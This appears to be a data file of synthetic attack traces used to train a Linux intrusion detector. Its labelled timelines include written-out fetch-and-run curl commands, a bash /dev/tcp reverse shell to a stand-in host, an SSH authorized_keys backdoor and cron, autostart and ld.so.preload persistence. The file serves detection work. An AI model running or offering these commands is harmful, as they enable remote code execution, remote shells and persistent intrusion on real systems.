# Training traces for `strawberry model train --inject-train` (Stage 4). # # Never evaluate a model on these: the promotion gate injects # config/traces/standard.trace, and these are different attack shapes on # purpose (other parents, binaries, paths and persistence places), so a # model that passes the gate has learned what makes a window suspicious, # not these exact timelines. Labels match src/file_watch.cpp. # Format: include/strawberry/learn/trace.hpp. trace office_macro_dropper +0s exec office /usr/lib/libreoffice/program/soffice.bin "soffice.bin --writer /home/u/Documents/order.odt" +3s exec sh /usr/bin/sh "sh -c curl -s http://203.0.113.30/u -o /tmp/.u; sh /tmp/.u" parent=office +3s exec fetch /usr/bin/curl "curl -s http://203.0.113.30/u -o /tmp/.u" parent=sh +4s connect fetch 203.0.113.30 80 +4s write fetch /tmp/.u drop "temporary directory" +5s write sh /home/u/.config/autostart/updater.desktop persistence "desktop autostart" trace bash_reverse_shell +0s exec web /usr/sbin/nginx "nginx: worker process" +1s exec sh /usr/bin/sh "sh -c bash -i >& /dev/tcp/203.0.113.50/9001 0>&1" parent=web +1s exec shell /usr/bin/bash "bash -i" parent=sh +2s connect shell 203.0.113.50 9001 +8s exec recon /usr/bin/id "id" parent=shell trace cron_dropper +0s exec shell /usr/bin/bash "bash" +1s exec fetch /usr/bin/curl "curl -s -o /var/tmp/.sysd http://203.0.113.60/a" parent=shell +2s connect fetch 203.0.113.60 80 +3s write fetch /var/tmp/.sysd drop "temporary directory" +4s exec chmod /usr/bin/chmod "chmod +x /var/tmp/.sysd" parent=shell +5s write shell /var/spool/cron/crontabs/u persistence "user crontab" +6s exec miner /var/tmp/.sysd "/var/tmp/.sysd --donate-level 1" parent=shell +7s connect miner 198.51.100.60 3333 trace shm_perl_stager +0s exec shell /usr/bin/zsh "zsh" +1s exec perl /usr/bin/perl "perl -e use IO::Socket" parent=shell +2s connect perl 198.51.100.70 8080 +3s write perl /dev/shm/.x drop "shared memory" +4s exec stage /dev/shm/.x "/dev/shm/.x" parent=perl +5s connect stage 198.51.100.70 443 trace ssh_key_backdoor +0s exec shell /usr/bin/bash "bash" +1s exec fetch /usr/bin/wget "wget -qO- https://203.0.113.80/k.pub" parent=shell +2s connect fetch 203.0.113.80 443 +3s write shell /home/u/.ssh/authorized_keys persistence "ssh authorized_keys" trace npm_postinstall +0s exec npm /usr/bin/node "node /usr/lib/node_modules/npm/bin/npm-cli.js install" +4s exec sh /usr/bin/sh "sh -c node scripts/postinstall.js" parent=npm +4s exec post /usr/bin/node "node scripts/postinstall.js" parent=sh +5s connect post 203.0.113.90 443 +6s write post /home/u/.config/systemd/user/node-helper.service persistence "systemd user unit" trace preload_rootkit +0s exec shell /usr/bin/bash "bash" +1s exec cp /usr/bin/cp "cp /tmp/libx.so /usr/lib/libx.so" parent=shell +2s write shell /etc/ld.so.preload persistence "system startup file" +3s exec probe /usr/bin/ls "ls" parent=shell +3s module probe